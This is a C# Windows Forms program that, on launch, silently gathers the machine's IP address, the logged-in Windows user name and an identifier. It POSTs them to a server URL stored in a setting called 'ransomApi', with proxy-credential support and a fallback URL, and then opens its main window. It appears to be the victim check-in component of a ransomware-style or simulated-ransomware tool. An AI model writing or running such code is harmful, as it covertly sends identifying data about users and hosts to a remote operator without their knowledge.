using System; using System.Net; using System.Text; using System.Windows.Forms; using Newtonsoft.Json; using System.Net.Http; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Net.Sockets; namespace stop { static class Program { [STAThread] static void Main() { //MessageBox.Show("start"); string strHostName = ""; string ip = ""; strHostName = System.Net.Dns.GetHostName(); IPHostEntry ipEntry = System.Net.Dns.GetHostEntry(strHostName); var addr = ipEntry.AddressList.Where(i => i.AddressFamily == AddressFamily.InterNetwork); var firstInList = addr.Last(); strHostName = System.Net.Dns.GetHostName(); if (firstInList == null) { ip = "127.0.0.1"; } else { ip = firstInList.ToString(); } // MessageBox.Show("ip : " + ip); WebClient client = new WebClient(); String apiUrl = Properties.Settings.Default.ransomApi; if(Properties.Settings.Default.proxy.Equals("True")) { WebProxy p = new WebProxy(Properties.Settings.Default.proxyIp, true); p.Credentials = new NetworkCredential(Properties.Settings.Default.userId, Properties.Settings.Default.password); WebRequest.DefaultWebProxy = p; client.Proxy = p; } client.Headers.Add("Content-Type", "application/json; charset=utf-8"); client.Encoding = Encoding.UTF8; String systemName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; String identifier = Properties.Settings.Default.identifier; UserDetials ud = new UserDetials(ip, systemName, identifier); String rb = JsonConvert.SerializeObject(ud); // MessageBox.Show("system Name "+systemName); try { var re= client.UploadString(apiUrl, "POST", rb); // MessageBox.Show("publicIP"); } catch (Exception ) { if (Properties.Settings.Default.proxy.Equals("True")) { try { var re = client.UploadString(Properties.Settings.Default.localUrl, "POST", rb); // MessageBox.Show("localIP"); } catch { // MessageBox.Show("Exe"); } } } // MessageBox.Show("Call finish"); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new home()); } } }